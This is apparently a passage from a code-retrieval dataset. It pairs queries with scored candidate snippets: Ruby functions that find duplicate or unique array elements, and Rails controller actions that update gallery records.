end\n if dupes\n return true\n else\n return nil\n end\n end", "title": "" }, { "docid": "75880689d331ec55b60ccffc09e197c5", "score": "0.6972471", "text": "def non_duplicated_values(values)\n # Write your code here\n values.select{|x| values.count(x) == 1} \nend", "title": "" }, { "docid": "d0f1539a550258d2006f9454ccbdf8e7", "score": "0.6948662", "text": "def non_duplicated_values(values)\n p values.select{ |i|\n values.count(i) == 1\n \t}\nend", "title": "" }, { "docid": "242c08b83f8e68b68207a3b9496e9bc4", "score": "0.69275343", "text": "def non_duplicated_values(values)\n arr = []\n values.each { |val| values.count(val) == 1 ? arr.push(val) : nil }\n arr\nend", "title": "" }, { "docid": "81e4c9eab4da32dd2f6ef201df078892", "score": "0.6907788", "text": "def unique(mylist)\r\n # Your code here\r\n unique = []\r\n mylist.each do |ele|\r\n unique << ele if !unique.include?(ele)\r\n end\r\n unique\r\nend", "title": "" }, { "docid": "c8f02ac368520608ffb3ec91b69cf9ab", "score": "0.68949586", "text": "def unique(mylist)\r\n # Your code here\r\nuniqueList = []\r\nfor item in mylist\r\n if uniqueList.include?(item) == false\r\n uniqueList << item\r\n end\r\nend \r\nreturn uniqueList\r\n\r\nend", "title": "" }, { "docid": "a7a50569c0ce92f0e39d3e6d4d6133d0", "score": "0.6884154", "text": "def unique(list)\r\n unique_items = []\r\n \r\n list.each do |item|\r\n if !unique_items.include?(item)\r\n unique_items << item\r\n end\r\n end\r\n return unique_items\r\nend", "title": "" }, { "docid": "7b8c562e76ab1d4c29e3195863c4c871", "score": "0.6873422", "text": "def duplicates(arr)\n values = Set.new\n dupes = Set.new\n\n arr.each do |value|\n if values[value]\n dupes << value\n else\n values << value\n end\n end\n\n return dupes.to_a\nend", "title": "" }, { "docid": "1711327e1da5bf2bc8f3ca27bd8c5fd5", "score": "0.6846008", "text": "def same?\n uniq.size == 1\n end", "title": "" }, { "docid": "9310ae24403c4ec4667f1ee4742d94d6", "score": "0.68043596", "text": "def yes_mutate(arr)\n arr.uniq!\nend", "title": "" }, { "docid": "9310ae24403c4ec4667f1ee4742d94d6", "score": "0.68043596", "text": "def yes_mutate(arr)\n arr.uniq!\nend", "title": "" }, { "docid": "9310ae24403c4ec4667f1ee4742d94d6", "score": "0.68043596", "text": "def yes_mutate(arr)\n arr.uniq!\nend", "title": "" }, { "docid": "9310ae24403c4ec4667f1ee4742d94d6", "score": "0.68043596", "text": "def yes_mutate(arr)\n arr.uniq!\nend", "title": "" }, { "docid": "fc90b9d8658a9126b8d59f7c050f1918", "score": "0.679798", "text": "def remove_duplicates(array)\n no_duplicates = []\n counter = 0\n array.each do |number|\n if !no_duplicates.include?(number)\n no_duplicates << number\n end\n end\n return no_duplicates\nend", "title": "" }, { "docid": "f041a34df7553b3738165077639f688d", "score": "0.67951727", "text": "def duplicates(count = false)\n count ? dups_c : dups\n end", "title": "" }, { "docid": "3d4127da2d42ee70c58975cb3c82e2e6", "score": "0.6778491", "text": "def yes_mutate(array)\r\n array.uniq!\r\nend", "title": "" }, { "docid": "47d659871a407d530b6b37fb01d507d9", "score": "0.6775089", "text": "def unique(array)\n unique_array = []\n array.each do |x|\n next if includes(unique_array, x)\n unique_array << x\n end\n unique_array\nend", "title": "" }, { "docid": "b21f04c33ace964f021dcd85eafc7814", "score": "0.6770721", "text": "def duplicates?(ary)\n ary.empty? ? false : ary.tally.values.max > 1\n end", "title": "" }, { "docid": "23d891d602ae681e2dbd189b1f1424a6", "score": "0.67697746", "text": "def uniq(arr)\n uniq = []\n arr.each {|x| if uniq.include?(x) == false\n uniq << x\n end }\n uniq\nend", "title": "" }, { "docid": "d3603cb15d5a8c6e351fce9a1d615e95", "score": "0.67692655", "text": "def non_duplicated_values(values)\ndupes = []\ncurrent = 0\ncount = 0\n\ni = 0\n\nwhile i < values.length\n current = values[i]\n\nvalues.map do |x|\n if x == current\n count += 1\n end\nend\n\n if count == 1\n dupes.push(current)\n end\n\n count = 0\n i += 1\n end\n\nputs dupes\nend", "title": "" }, { "docid": "e1a682a1b8abd86590a4d5afe795dc20", "score": "0.6756371", "text": "def non_duplicated_values(values)\n values.delete_if {|value| values.count(value) > 1}\nend", "title": "" }, { "docid": "8cd5985a7b72e83443a8d604493be428", "score": "0.6742251", "text": "def find_dup(array)\n array.select {|item| array.count(item) > 1}.uniq\nend", "title": "" }, { "docid": "529bb3e1d82a8bde5d28c66ece6046cb", "score": "0.6738662", "text": "def uniq(arr)\r\n uniq = []\r\n arr.each {|x| if uniq.include?(x) == false\r\n uniq << x\r\n end }\r\n uniq\r\nend", "title": "" }, { "docid": "d6636101f0543d94b42d920c1fb6f38e", "score": "0.6737035", "text": "def remove_duplicates(nums)\n nums.uniq!.length\nend", "title": "" }, { "docid": "748afa70f0e32518f3480f51b33b3c04", "score": "0.67121184", "text": "def contains_duplicate(nums)\n # nums != nums.uniq\n hash = {}\n nums.each do |n|\n return true if hash[n]\n hash[n] = true\n end\n false\nend", "title": "" }, { "docid": "2eccee67e7e928bf52295b6a789a82b7", "score": "0.67109513", "text": "def are_there_duplicates(*args)\n input = args.sort # O(nlogn)\n counter_1 = 0\n\n while counter_1 != input.length\n counter_2 = counter_1 + 1\n if input[counter_1] == input[counter_2]\n return true\n end\n counter_1 += 1\n end\n false\nend", "title": "" }, { "docid": "4dfad6639fa125af78ae9f655814b04e", "score": "0.67080534", "text": "def findDupes (hash)\n dupedIps = {}\n hash.each {|k,v| dupedIps[k] = v if v > 1}\n return dupedIps # returns hash of dupes only\n end", "title": "" }, { "docid": "da8a192ff7e741b405f39f1b213a8c76", "score": "0.67076623", "text": "def unique(arr)\n arr.detect { |element| arr.count(element) == 1 }\nend", "title": "" }, { "docid": "0c962ebb5da4752af135ef0d659c31c8", "score": "0.6692539", "text": "def non_duplicated_values(values)\n values.delete_if { |a| values.count(a) > 1 }\nend", "title": "" }, { "docid": "0de369d7c22d368cbb6d65aab8d0361c", "score": "0.66829795", "text": "def remove_duplicates(nums)\n nums.uniq!\n return nums.length\nend", "title": "" }, { "docid": "59b3ce74afa63c03b1dad146fc5a8374", "score": "0.6677354", "text": "def find_and_return(arr)\n arr.select {|i| arr.count(i)>1}.uniq\nend", "title": "" }, { "docid": "997164ab68bacd535ca811a5e968abd5", "score": "0.6673301", "text": "def unique (mylist)\n<<<<<<< HEAD\n # hash = {}\n uniq_list =[]\n # for element in mylist\n # hash[element] = 1 + (hash[element] || 0)\n # end\n # for key,val in hash\n # uniq_list << key\n # end\n # return uniq_list\n\n for element in mylist\n uniq_list << element if !uniq_list.include?(element) \n end\n return uniq_list\n=======\n hash = {}\n mylist.each { |x| hash[x] = true }\n hash.keys\n>>>>>>> b028df5d644e116007105a13b9522c8e1282f993\nend", "title": "" }, { "docid": "af57db753087b569edddf1bacc0b7315", "score": "0.6668957", "text": "def one_week_wonders(songs)\n uniq_songs = songs.uniq\n # print songs\n # puts\n # print uniq_songs\n # puts\n uniq_songs.select{|song| no_repeats?(song, songs)}\nend", "title": "" }, { "docid": "e8566e0ede5931f6f3fe046423791520", "score": "0.6653958", "text": "def duplicates?(collection); end", "title": "" }, { "docid": "01cb526a05e5028250aa72398a1f60d9", "score": "0.6648172", "text": "def unique(a)\n unique_collected = a.uniq\n return unique_collected\nend", "title": "" }, { "docid": "a08c7aebe9251dc0dd3fed7c1201525e", "score": "0.6646337", "text": "def remove_duplicates(arr)\n arr.uniq!\nend", "title": "" }, { "docid": "c75e02e969f9de602a495c55408a4da1", "score": "0.663746", "text": "def uniq\n arr1 = [1, 2, 2, 3, 3, 3, 4, 5]\n arr2 = arr1.uniq\n if arr2 != [1, 2, 3, 4, 5]\n raise 'ERROR'\n end\n end", "title": "" }, { "docid": "083586fe3aaca7e20942ca6464e61965", "score": "0.6632706", "text": "def find_duplicates(array)\n raise 'input must be an array' unless array.kind_of?(Array)\n\n checked_items = []\n duplicate_items = []\n array.each do |item|\n if checked_items.include? item\n duplicate_items.push(item)\n else\n checked_items.push(item)\n end\n end\n duplicate_items\nend", "title": "" }, { "docid": "0a4f3ccdec434f99dffd80b18bbbb889", "score": "0.6632585", "text": "def duplicate_nums(nums)\n check_num_array = []\n (nums).each do |i|\n if check_num_array.include?(i)\n return true\n else\n check_num_array << i\n end\n end\n return false\nend", "title": "" }, { "docid": "1f105fff2c1f948f13e54a069dd4935f", "score": "0.6620579", "text": "def find_unique_elements(arr)\n array_duplicate = Array.new\n array_duplicate = arr.detect{ |element| arr.count(element) >= 2}\n arr.delete(array_duplicate)\n return arr\nend", "title": "" }, { "docid": "3018cdf0a1617d75538db91f9f7d3181", "score": "0.66117185", "text": "def my_uniq(nums) \n nums_uniq=[]\n nums.each do |number|\n if !(nums_uniq.include?(number))\n nums_uniq.push(number)\n end\n end\n return nums_uniq\n #\nend", "title": "" }, { "docid": "6032f89735aeb2a29885d1dec1d35d20", "score": "0.6596118", "text": "def duplicates?(array)\n array.each_with_index do |item1, index1|\n array.each_with_index do |item2, index2|\n next if index1 == index2\n return true if item1 == item2\n end\n end\n false\nend", "title": "" }, { "docid": "6032f89735aeb2a29885d1dec1d35d20", "score": "0.6596118", "text": "def duplicates?(array)\n array.each_with_index do |item1, index1|\n array.each_with_index do |item2, index2|\n next if index1 == index2\n return true if item1 == item2\n end\n end\n false\nend", "title": "" }, { "docid": "cdc7c6f1875dd5600d7c10beabab63bb", "score": "0.6586198", "text": "def no_duplicates(array)\n new_array = []\n index = 0\n while index < array.length\n index2 = 1\n while index2 < array.length\n if array[index] != array[index2]\n new_array << array[index2]\n end\n index2 += 1\n end\n break\n end\n return new_array \nend", "title": "" }, { "docid": "dbf8438b289722d8f0bc310cd5417439", "score": "0.65702856", "text": "def my_uniq(arr)\n uniq_arr = []\n arr.each do |el|\n uniq_arr << el unless uniq_arr.include?(el)\n end\n uniq_arr\nend", "title": "" }, { "docid": "df3fb863b1bf3533acc4b43bd01b8119", "score": "0.6563183", "text": "def uniq(arr)\n answer_array = []\n arr.each do |ele| \n unless answer_array.include?(ele)\n answer_array << ele \n end\n end\n answer_array\n \nend", "title": "" }, { "docid": "c885afc42b2125a30a524e71684d6123", "score": "0.6558226", "text": "def no_mutate(array)\r\n array.uniq\r\nend", "title": "" }, { "docid": "e78abe08c57862319f3f13725f646cfd", "score": "0.654116", "text": "def find_duplicates(list)\n frequencies = list.group_by{|num| num}\n return frequencies.select{ |num, instances| instances.length > 1 }.keys\nend", "title": "" }, { "docid": "14d47e3913a0d87b009efbb7d5657849", "score": "0.65361935", "text": "def uniq(array)\n arr = []\n array.each { |x| arr << x if !arr.include?x }\n arr\nend", "title": "" }, { "docid": "74d57e0ebfedc60d5894d52617568fd6", "score": "0.6532602", "text": "def contains_duplicate_two(nums)\n new_nums = []\n \n nums.each do |num|\n if new_nums.include? num\n return true\n else\n new_nums.push(num)\n end\n end\n \n false\nend", "title": "" }, { "docid": "72665108610b7bcd38c232c7bf6743a8", "score": "0.65171", "text": "def remove_duplicates(sample_array)\n return sample_array.uniq()\nend", "title": "" } ]
09132ed880ab39b8fad62ca12fbaa27c
PATCH/PUT /flashlight_galleries/1 PATCH/PUT /flashlight_galleries/1.json
[ { "docid": "a0a8b253775c473e159699468671b607", "score": "0.7577383", "text": "def update\n respond_to do |format|\n if @flashlight_gallery.update(flashlight_gallery_params)\n format.html { redirect_to @flashlight_gallery, notice: 'Flashlight gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @flashlight_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "df1d1868d4d91593f1c23aa4990225f0", "score": "0.72058266", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n if @gallery.update(gallery_params)\n head :no_content\n else\n render json: @gallery.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e3fba1ec360cf7e4b5b6015acff377c7", "score": "0.704147", "text": "def update\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "76722f8331aa484ee3670e7a3e43a291", "score": "0.70262885", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "76722f8331aa484ee3670e7a3e43a291", "score": "0.70262885", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "76722f8331aa484ee3670e7a3e43a291", "score": "0.70262885", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "76722f8331aa484ee3670e7a3e43a291", "score": "0.70262885", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc5aaf1d435d6f3a0954aa00ffdffb06", "score": "0.7017671", "text": "def update\n @gallery = Gallery.find(params[:id])\n \n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "006b047cfe928b6d86e1ee03dd5f8650", "score": "0.7001917", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.js { render json: { type: :update, gallery: @gallery }, status: :ok }\n else\n format.js { render json: { type: :update, errors: @gallery.errors }, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ded695315431e8ba53088e32349a7121", "score": "0.6981427", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n format.html { redirect_to admin_galleries_url, notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "478410a63912cb73c74c1d479bddfbb9", "score": "0.69538015", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e84aa07aa12123c725fe3ebf25382fb2", "score": "0.6931063", "text": "def update\n @photo_gallery = PhotoGallery.find(params[:id])\n\n respond_to do |format|\n if @photo_gallery.update_attributes(params[:photo_gallery])\n format.html { redirect_to @photo_gallery, notice: 'Photo gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1dfd46a9c35a255a447197a20bc1b8be", "score": "0.6922934", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to edit_gallery_path(@gallery), notice: t('gallery.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be29e58d43cfcb4e2cf066fb4b71573e", "score": "0.68904954", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be29e58d43cfcb4e2cf066fb4b71573e", "score": "0.68904954", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be29e58d43cfcb4e2cf066fb4b71573e", "score": "0.68904954", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be29e58d43cfcb4e2cf066fb4b71573e", "score": "0.68904954", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be29e58d43cfcb4e2cf066fb4b71573e", "score": "0.68904954", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be29e58d43cfcb4e2cf066fb4b71573e", "score": "0.68904954", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be29e58d43cfcb4e2cf066fb4b71573e", "score": "0.68904954", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be29e58d43cfcb4e2cf066fb4b71573e", "score": "0.68904954", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e6b0cc5ceb85e004e14d42f497be7e64", "score": "0.68138486", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to [:admin, @gallery], notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fec50c2b055a0a6cc366f4f83b53bfe9", "score": "0.6809392", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n if @gallery.update(gallery_params)\n audit(@gallery, current_user)\n @gallery.update(image: params[:gallery][:image])\n #render json: @gallery\n head :no_content\n else\n render json: @gallery.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2085432ea8747e056ad2c445ac90e67b", "score": "0.67917114", "text": "def update\n \n @gallery = @user.galleries.find(params[:id])\n\n respond_to do |format|\n \n if @gallery.update_attributes(params[:gallery])\n \n format.html { redirect_to user_galleries_path(current_user), notice: 'Gallery was successfully updated.' }\n format.json { head :no_content }\n \n else\n \n format.html { render action: \"edit\" }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n \n end\n \n end\n \n end", "title": "" }, { "docid": "4c457629f1bb18481b3dd21d37f0c7e4", "score": "0.67866325", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n @gallery.touch\n # if @gallery.published?\n # @gallery.published!\n # end\n format.html { redirect_to admin_gallery_path(@gallery), notice: \"Gallery was successfully updated. Please review and click 'Publish' to publish this gallery to the API.\" }\n format.json { render :show, status: :ok, location: admin_gallery_path(@gallery) }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c37f617aa6a7543e408537913d34770", "score": "0.6782228", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n\n if params[:photos] != nil\n @gallery.photos.attach(params[:photos])\n end\n format.html { redirect_to galleries_url, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: galleries_url }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d55b3bf10c39f38755fa43cea934e95f", "score": "0.67805326", "text": "def update\n @photo_gallery = PhotoGallery.find(params[:id])\n\n respond_to do |format|\n if @photo_gallery.update_attributes(params[:photo_gallery])\n format.html { redirect_to admin_photo_galleries_path, notice: 'Actualizada la foto satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "62fb947dfc83572075594e84003183f6", "score": "0.6749736", "text": "def update\n @gallery = @event.galleries.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n format.html { redirect_to([@event, @gallery], :notice => 'Gallery was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bce2be05149f37832c3eb1b8f97322bb", "score": "0.67040676", "text": "def update\n @photo = @gallery.photos.find(params[:id])\n\n respond_to do |format|\n if @photo.update_attributes(params[:photo])\n format.html { redirect_back_or photo_path(@photo), notice: 'Photo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9fccb596f3cd1fb24bb06c3d1bc73b5d", "score": "0.6700663", "text": "def update\n @gallery = @user.gallery\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n format.html { redirect_to @gallery, notice: 'gallery was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "387defd83388e5e9fd4fc2142dc2aeeb", "score": "0.6695473", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n puts gallery_params\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50bf1cea225a97894198b00232b57387", "score": "0.66887", "text": "def update\n respond_to do |format|\n if @gallery.update(admin_gallery_params)\n format.html { redirect_to admin_galleries_url, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render :edit }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e37b0d284aef4df7cd13bbe320d360ed", "score": "0.66882265", "text": "def update\n respond_to do |format|\n if @gallery_picture.update(gallery_picture_params)\n format.html { redirect_to @gallery_picture.gallery, notice: 'Gallery picture was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery_picture }\n else\n format.html { render :edit }\n format.json { render json: @gallery_picture.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd8f4e27691fbd832e7a6fbbaf3ff2a3", "score": "0.6675435", "text": "def update\n respond_to do |format|\n if @gallery_2.update(gallery_2_params)\n format.html { redirect_to @gallery_2, notice: 'Gallery 2 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @gallery_2.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "22048ea23bb3befa4a0a32d6bb6e8959", "score": "0.6665279", "text": "def update\n respond_to do |format|\n if @gallery.update(gallery_params)\n format.html { redirect_to @gallery, notice: 'Gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery }\n else\n format.html { render '/projects/galleries/' + @project2.id.to_s }\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "54fdedfcb9d280144bda02e2047da78b", "score": "0.6635011", "text": "def update\n if !has_right?(:edit)\n redirect_to :unauthorized\n return\n end\n @picture_gallery = PictureGallery.find(params[:id])\n update_objects(@picture_gallery, params[:picture_gallery]) ### Add to all resources\n end", "title": "" }, { "docid": "7b26c473abe99557cea1d979e831654d", "score": "0.66325957", "text": "def update\r\n @gallery = Gallery.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @gallery.update_attributes(gallery_params)\r\n if params[:images]\r\n # The magic is here ;)\r\n params[:images].each { |image|\r\n @gallery.pictures.create(image: image)\r\n }\r\n end\r\n format.html { redirect_to wedding_gallery_path(@wedding, @gallery), notice: 'Gallery was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @gallery.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "9a8746598ac5fdd365b1ba7a1dc0d879", "score": "0.662365", "text": "def update\n respond_to do |format|\n if @gallery_photo.update(gallery_photo_params)\n format.html { redirect_to @gallery_photo, notice: 'Gallery photo was successfully updated.' }\n format.json { render :show, status: :ok, location: @gallery_photo }\n else\n format.html { render :edit }\n format.json { render json: @gallery_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db67514f0b1a43ec77213d4a1b60ad58", "score": "0.66208506", "text": "def update\n @foto = Foto.find(params[:id])\n\n respond_to do |format|\n if @foto.update_attributes(params[:foto])\n format.html {\n render :json => [@foto.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: {files: [@foto.to_jq_upload]}, status: :created, location: [@gallery, @foto] }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34a286447c0b4fe3808193a3e197c84a", "score": "0.66052496", "text": "def update\n @groom_gallery = GroomGallery.find(params[:id])\n\n respond_to do |format|\n if @groom_gallery.update_attributes(params[:groom_gallery_params])\n format.html { redirect_to @groom_gallery, notice: 'Galerie byla úspěšně aktualizováná.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @groom_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "187e995d59c8aae9d99bd09cf4c1bf79", "score": "0.6597882", "text": "def update\n respond_to do |format|\n if @lightbox.update(lightbox_params)\n format.html { redirect_to @lightbox, notice: 'Lightbox was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @lightbox.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "01075c8b09f42a0f2c011562dbc44191", "score": "0.6590592", "text": "def update\n\n @groom_gallery = GroomGallery.find(params[:groom_gallery_id])\n\n @groom_picture = @groom_gallery.groom_pictures.find(params[:id])\n\n respond_to do |format|\n if @groom_picture.update_attributes(params[:groom_picture])\n format.html { redirect_to groom_gallery_path(@groom_gallery), notice: 'Picture was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @groom_picture.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13abf3d5b103cb82a700a7a2d1b305c9", "score": "0.65805525", "text": "def update\n respond_to do |format|\n if @art_gallery.update(art_gallery_params)\n format.html { redirect_to @art_gallery, notice: 'Art gallery was successfully updated.' }\n format.json { render :show, status: :ok, location: @art_gallery }\n else\n format.html { render :edit }\n format.json { render json: @art_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bd2c28b613e690f3a0f65cc443e10b42", "score": "0.65803087", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n flash[:notice] = 'Gallery was successfully updated.'\n format.html { redirect_to @gallery }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b0fa1d5983f9fc10ae896e696432deff", "score": "0.65666705", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n flash[:notice] = 'Gallery was successfully updated.'\n format.html { redirect_to(@gallery) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gallery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b0fa1d5983f9fc10ae896e696432deff", "score": "0.65666705", "text": "def update\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n if @gallery.update_attributes(params[:gallery])\n flash[:notice] = 'Gallery was successfully updated.'\n format.html { redirect_to(@gallery) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => 